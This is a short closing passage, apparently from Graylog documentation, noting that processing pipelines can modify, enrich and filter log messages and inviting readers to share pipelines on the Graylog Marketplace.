As you can see, processing pipelines are a very powerful way to modify, enrich and filter your log messages. If there are particularly novel or complex pipelines that you think would be useful to the rest of the community, please share them on the Graylog Marketplace.